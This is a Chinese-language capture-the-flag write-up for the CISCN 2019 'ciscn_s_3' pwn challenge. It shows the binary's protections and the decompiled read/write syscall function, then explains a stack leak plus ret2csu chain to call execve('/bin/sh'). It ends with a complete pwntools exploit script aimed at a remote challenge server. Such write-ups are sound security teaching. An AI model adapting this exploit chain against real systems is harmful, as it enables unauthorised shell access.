ciscn 2019 s 3

前提

查看文件保护

[*] '/root/pwn/buuctf/ciscn_2019_s_3/ciscn_s_3'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

静态分析

主函数如下

int __cdecl main(int argc, const char **argv, const char **envp)
{
  return vuln();
}

vuln函数如下

signed __int64 vuln()
{
  signed __int64 result; // rax

  __asm { syscall; LINUX - sys_read }
  result = 1LL;
  __asm { syscall; LINUX - sys_write }
  return result;
}

gadgets函数汇编代码及程序表如下

思路分析

1. 目前信息：
   • vuln函数可溢出
   • 无system无/bin/sh
   • gadgets内有execv调用号0x3b
   • No PIE
2. 思路：
   • 考虑ret2syscall做法，vuln函数除了可溢出外，在打印的0x20到0x28处将会泄漏一个栈上地址，减去相对偏移可以得到一开始写入数据的起始地址，在该地址内写入/bin/sh\x00，利用ret2csu，为execv("/bin/sh",0,0)，依次将寄存器赋值后，调用syscall获得shell

exp

from pwn import *
from LibcSearcher import *
context(os='linux', arch='amd64', log_level='debug')
pwnfile = '/root/pwn/buuctf/ciscn_2019_s_3/ciscn_s_3'
io=remote('node4.buuoj.cn',26437)
# io = process(pwnfile)
elf = ELF(pwnfile)
padding = 0x10
vuln_addr = elf.symbols['vuln']
payload = b'/bin/sh\x00'.ljust(padding, b'\x00')
payload += flat([vuln_addr])
io.send(payload)
io.recv(0x20)
leak_buf_stack_addr = u64(io.recv(8))-0x118
success('binsh_addr:'+hex(leak_buf_stack_addr))
io.recv()
pop_rdi_ret=0x4005a3
csu_end = 0x040059A    # pop rbx rbp r12 r13 r14 r15
csu_front = 0x0400580
execv = 0x04004E2
syscall = 0x0400501
payload = b'/bin/sh\x00'.ljust(padding, b'a')
payload += flat([csu_end,0,0,leak_buf_stack_addr+0x50,0,0,0,csu_front])
# leak_buf_stack_addr+0x50将是call的地址 直接将程序流劫持到下面(0x50为前面写入的数据长度共十个栈帧)
payload += flat([pop_rdi_ret,leak_buf_stack_addr,execv,syscall])
io.send(payload)
io.interactive()